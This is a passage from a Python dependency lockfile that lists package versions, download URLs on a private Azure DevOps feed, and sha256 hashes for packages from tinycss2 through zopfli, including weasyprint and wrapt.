710 | wheels = [ 711 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/tinycss2/1.4/tinycss2-1.4.0-py3-none-any.whl", hash = "sha256:3a49cf47b7675da0b15d0c6e1df8df4ebd96e9394bb905a5775adb0d884c5289" }, 712 | ] 713 | 714 | [[package]] 715 | name = "tinyhtml5" 716 | version = "2.0.0" 717 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 718 | dependencies = [ 719 | { name = "webencodings" }, 720 | ] 721 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/tinyhtml5/2/tinyhtml5-2.0.0.tar.gz", hash = "sha256:086f998833da24c300c414d9fe81d9b368fd04cb9d2596a008421cbc705fcfcc" } 722 | wheels = [ 723 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/tinyhtml5/2/tinyhtml5-2.0.0-py3-none-any.whl", hash = "sha256:13683277c5b176d070f82d099d977194b7a1e26815b016114f581a74bbfbf47e" }, 724 | ] 725 | 726 | [[package]] 727 | name = "traitlets" 728 | version = "5.14.3" 729 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 730 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/traitlets/5.14.3/traitlets-5.14.3.tar.gz", hash = "sha256:9ed0579d3502c94b4b3732ac120375cda96f923114522847de4b3bb98b96b6b7" } 731 | wheels = [ 732 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/traitlets/5.14.3/traitlets-5.14.3-py3-none-any.whl", hash = "sha256:b74e89e397b1ed28cc831db7aea759ba6640cb3de13090ca145426688ff1ac4f" }, 733 | ] 734 | 735 | [[package]] 736 | name = "typing-extensions" 737 | version = "4.13.2" 738 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 739 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/typing-extensions/4.13.2/typing_extensions-4.13.2.tar.gz", hash = "sha256:e6c81219bd689f51865d9e372991c540bda33a0379d5573cddb9a3a23f7caaef" } 740 | wheels = [ 741 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/typing-extensions/4.13.2/typing_extensions-4.13.2-py3-none-any.whl", hash = "sha256:a439e7c04b49fec3e5d3e2beaa21755cadbbdc391694e28ccdd36ca4a1408f8c" }, 742 | ] 743 | 744 | [[package]] 745 | name = "urllib3" 746 | version = "2.4.0" 747 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 748 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/urllib3/2.4/urllib3-2.4.0.tar.gz", hash = "sha256:414bc6535b787febd7567804cc015fee39daab8ad86268f1310a9250697de466" } 749 | wheels = [ 750 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/urllib3/2.4/urllib3-2.4.0-py3-none-any.whl", hash = "sha256:4e16665048960a0900c702d4a66415956a584919c03361cac9f1df5c5dd7e813" }, 751 | ] 752 | 753 | [[package]] 754 | name = "wcwidth" 755 | version = "0.2.13" 756 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 757 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wcwidth/0.2.13/wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5" } 758 | wheels = [ 759 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wcwidth/0.2.13/wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859" }, 760 | ] 761 | 762 | [[package]] 763 | name = "weasyprint" 764 | version = "65.1" 765 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 766 | dependencies = [ 767 | { name = "cffi" }, 768 | { name = "cssselect2" }, 769 | { name = "fonttools", extra = ["woff"] }, 770 | { name = "pillow" }, 771 | { name = "pydyf" }, 772 | { name = "pyphen" }, 773 | { name = "tinycss2" }, 774 | { name = "tinyhtml5" }, 775 | ] 776 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/weasyprint/65.1/weasyprint-65.1.tar.gz", hash = "sha256:120281bdbd42ffaa7d7e5cedbe3182a2cef36ea5ad97fe9f357e43be6a1e58ea" } 777 | wheels = [ 778 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/weasyprint/65.1/weasyprint-65.1-py3-none-any.whl", hash = "sha256:9baa54282dc86929f6b877034d06b0416e2a7cacb1af3f73d80960592fd0af89" }, 779 | ] 780 | 781 | [[package]] 782 | name = "webencodings" 783 | version = "0.5.1" 784 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 785 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/webencodings/0.5.1/webencodings-0.5.1.tar.gz", hash = "sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923" } 786 | wheels = [ 787 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/webencodings/0.5.1/webencodings-0.5.1-py2.py3-none-any.whl", hash = "sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78" }, 788 | ] 789 | 790 | [[package]] 791 | name = "wrapt" 792 | version = "1.17.2" 793 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 794 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2.tar.gz", hash = "sha256:41388e9d4d1522446fe79d3213196bd9e3b301a336965b9e27ca2788ebd122f3" } 795 | wheels = [ 796 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d5e2439eecc762cd85e7bd37161d4714aa03a33c5ba884e26c81559817ca0925" }, 797 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:3fc7cb4c1c744f8c05cd5f9438a3caa6ab94ce8344e952d7c45a8ed59dd88392" }, 798 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8fdbdb757d5390f7c675e558fd3186d590973244fab0c5fe63d373ade3e99d40" }, 799 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5bb1d0dbf99411f3d871deb6faa9aabb9d4e744d67dcaaa05399af89d847a91d" }, 800 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d18a4865f46b8579d44e4fe1e2bcbc6472ad83d98e22a26c963d46e4c125ef0b" }, 801 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc570b5f14a79734437cb7b0500376b6b791153314986074486e0b0fa8d71d98" }, 802 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6d9187b01bebc3875bac9b087948a2bccefe464a7d8f627cf6e48b1bbae30f82" }, 803 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9e8659775f1adf02eb1e6f109751268e493c73716ca5761f8acb695e52a756ae" }, 804 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e8b2816ebef96d83657b56306152a93909a83f23994f4b30ad4573b00bd11bb9" }, 805 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-win32.whl", hash = "sha256:468090021f391fe0056ad3e807e3d9034e0fd01adcd3bdfba977b6fdf4213ea9" }, 806 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp312-cp312-win_amd64.whl", hash = "sha256:ec89ed91f2fa8e3f52ae53cd3cf640d6feff92ba90d62236a81e4e563ac0e991" }, 807 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:6ed6ffac43aecfe6d86ec5b74b06a5be33d5bb9243d055141e8cabb12aa08125" }, 808 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:35621ae4c00e056adb0009f8e86e28eb4a41a4bfa8f9bfa9fca7d343fe94f998" }, 809 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a604bf7a053f8362d27eb9fefd2097f82600b856d5abe996d623babd067b1ab5" }, 810 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5cbabee4f083b6b4cd282f5b817a867cf0b1028c54d445b7ec7cfe6505057cf8" }, 811 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:49703ce2ddc220df165bd2962f8e03b84c89fee2d65e1c24a7defff6f988f4d6" }, 812 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8112e52c5822fc4253f3901b676c55ddf288614dc7011634e2719718eaa187dc" }, 813 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9fee687dce376205d9a494e9c121e27183b2a3df18037f89d69bd7b35bcf59e2" }, 814 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:18983c537e04d11cf027fbb60a1e8dfd5190e2b60cc27bc0808e653e7b218d1b" }, 815 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:703919b1633412ab54bcf920ab388735832fdcb9f9a00ae49387f0fe67dad504" }, 816 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-win32.whl", hash = "sha256:abbb9e76177c35d4e8568e58650aa6926040d6a9f6f03435b7a522bf1c487f9a" }, 817 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313-win_amd64.whl", hash = "sha256:69606d7bb691b50a4240ce6b22ebb319c1cfb164e5f6569835058196e0f3a845" }, 818 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:4a721d3c943dae44f8e243b380cb645a709ba5bd35d3ad27bc2ed947e9c68192" }, 819 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:766d8bbefcb9e00c3ac3b000d9acc51f1b399513f44d77dfe0eb026ad7c9a19b" }, 820 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e496a8ce2c256da1eb98bd15803a79bee00fc351f5dfb9ea82594a3f058309e0" }, 821 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40d615e4fe22f4ad3528448c193b218e077656ca9ccb22ce2cb20db730f8d306" }, 822 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a5aaeff38654462bc4b09023918b7f21790efb807f54c000a39d41d69cf552cb" }, 823 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9a7d15bbd2bc99e92e39f49a04653062ee6085c0e18b3b7512a4f2fe91f2d681" }, 824 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:e3890b508a23299083e065f435a492b5435eba6e304a7114d2f919d400888cc6" }, 825 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8c8b293cd65ad716d13d8dd3624e42e5a19cc2a2f1acc74b30c2c13f15cb61a6" }, 826 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:4c82b8785d98cdd9fed4cac84d765d234ed3251bd6afe34cb7ac523cb93e8b4f" }, 827 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-win32.whl", hash = "sha256:13e6afb7fe71fe7485a4550a8844cc9ffbe263c0f1a1eea569bc7091d4898555" }, 828 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-cp313-cp313t-win_amd64.whl", hash = "sha256:eaf675418ed6b3b31c7a989fd007fa7c3be66ce14e5c3b27336383604c9da85c" }, 829 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/wrapt/1.17.2/wrapt-1.17.2-py3-none-any.whl", hash = "sha256:b18f2d1533a71f069c7f82d524a52599053d4c7166e9dd374ae2136b7f40f7c8" }, 830 | ] 831 | 832 | [[package]] 833 | name = "zopfli" 834 | version = "0.2.3.post1" 835 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 836 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1.tar.gz", hash = "sha256:96484dc0f48be1c5d7ae9f38ed1ce41e3675fd506b27c11a6607f14b49101e99" } 837 | wheels = [ 838 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3f0197b6aa6eb3086ae9e66d6dd86c4d502b6c68b0ec490496348ae8c05ecaef" }, 839 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5fcfc0dc2761e4fcc15ad5d273b4d58c2e8e059d3214a7390d4d3c8e2aee644e" }, 840 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cac2b37ab21c2b36a10b685b1893ebd6b0f83ae26004838ac817680881576567" }, 841 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8d5ab297d660b75c159190ce6d73035502310e40fd35170aed7d1a1aea7ddd65" }, 842 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ba214f4f45bec195ee8559651154d3ac2932470b9d91c5715fc29c013349f8c" }, 843 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c1e0ed5d84ffa2d677cc9582fc01e61dab2e7ef8b8996e055f0a76167b1b94df" }, 844 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:bfa1eb759e07d8b7aa7a310a2bc535e127ee70addf90dc8d4b946b593c3e51a8" }, 845 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cd2c002f160502608dcc822ed2441a0f4509c52e86fcfd1a09e937278ed1ca14" }, 846 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-win32.whl", hash = "sha256:7be5cc6732eb7b4df17305d8a7b293223f934a31783a874a01164703bc1be6cd" }, 847 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp312-cp312-win_amd64.whl", hash = "sha256:4e50ffac74842c1c1018b9b73875a0d0a877c066ab06bf7cccbaa84af97e754f" }, 848 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ecb7572df5372abce8073df078207d9d1749f20b8b136089916a4a0868d56051" }, 849 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:a1cf720896d2ce998bc8e051d4b4ce0d8bec007aab6243102e8e1d22a0b2fb3f" }, 850 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5aad740b4d4fcbaaae4887823925166ffd062db3b248b3f432198fc287381d1a" }, 851 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6617fb10f9e4393b331941861d73afb119cd847e88e4974bdbe8068ceef3f73f" }, 852 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a53b18797cdef27e019db595d66c4b077325afe2fd62145953275f53d84ce40c" }, 853 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b78008a69300d929ca2efeffec951b64a312e9a811e265ea4a907ab546d79fa6" }, 854 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:0aa5f90d6298bda02a95bc8dc8c3c19004d5a4e44bda00b67ca7431d857b4b54" }, 855 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:2768c877f76c8a0e7519b1c86c93757f3c01492ddde55751e9988afb7eff64e1" }, 856 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-win32.whl", hash = "sha256:71390dbd3fbf6ebea9a5d85ffed8c26ee1453ee09248e9b88486e30e0397b775" }, 857 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/zopfli/0.2.3.post1/zopfli-0.2.3.post1-cp313-cp313-win_amd64.whl", hash = "sha256:a86eb88e06bd87e1fff31dac878965c26b0c26db59ddcf78bb0379a954b120de" }, 858 | ] 859 | --------------------------------------------------------------------------------